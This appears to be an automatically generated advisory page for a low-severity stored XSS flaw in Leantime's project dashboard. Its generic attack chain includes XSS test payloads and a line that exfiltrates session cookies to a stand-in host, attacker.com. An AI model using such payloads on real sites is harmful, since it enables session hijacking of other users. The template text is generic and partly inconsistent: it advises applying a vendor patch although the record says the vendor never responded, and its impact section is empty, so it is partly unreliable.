CVE-2026-94211 — CWE-79 · CWE-94
CVE-2026-94211 is a LOW severity Cross-Site Scripting (XSS) vulnerability (CWE-79, CWE-94) (CVSS 2.4/10) affecting affected software system. Technical vector analysis shows that an attacker can exploit this flaw remotely over the network with high privileges (PR:H) requiring user interaction, posing a direct security risk to affected deployments.
📄 Official NVD / MITRE Original Record Text
A vulnerability has been found in Hyve5 Leantime up to 3.9.8. Affected by this issue is some unknown functionality of the file /app/Domain/Dashboard/Templates/show.blade.php of the component Project Dashboard. Such manipulation leads to cross site scripting. The attack may be performed from remote. The exploit has been disclosed to the public and may be used. "EDIT perm" needed to plant; fires cross-user for anyone viewing the project dashboard since the poisoned label name is echoed raw. The vendor was contacted early about this disclosure but did not respond in any way.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-94211
CVSS 2.4/10 · LOW · 21.09.2026
CWE: CWE-79, CWE-94
Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🎯 WHAT IS THIS VULNERABILITY?
Cross-Site Scripting (XSS)
Summary: A vulnerability has been found in Hyve5 Leantime up to 3.9.8. Affected by this issue is some unknown functionality of the file /app/Domain/Dashboard/Templates/show.blade.php of the component Project Dashboard. Such manipulation leads to cross site scripting.
⚡ ATTACK CHAIN
Attack steps:
1. Identify reflection points (search, comments, profile fields).
2. Test: <script>alert(document.domain)</script> or <img src=x onerror=alert(1)>
3. Session hijacking: fetch('https://attacker.com/?c='+document.cookie)
4. Stored XSS: inject persistent payload in user-controlled fields.
5. Browser exploitation via BeEF.
🔧 Tools: BeEF, XSStrike, Dalfox, Burp Suite
🗺️ MITRE ATT&CK: T1189 (Drive-by Compromise), T1185 (Browser Session Hijacking)
🌍 REAL WORLD IMPACT
🛡️ REMEDIATION
→ Apply the vendor-released patch immediately.
→ Add CSP headers, HTML-encode all user input.
→ Add WAF rule, create IDS alert for anomalous traffic.
⚠️ URGENCY
📌 Low priority — routine update sufficient.
────────────────────────────────────────
[Kural Tabanlı Otomatik Güvenlik Analizi]
FOFA Query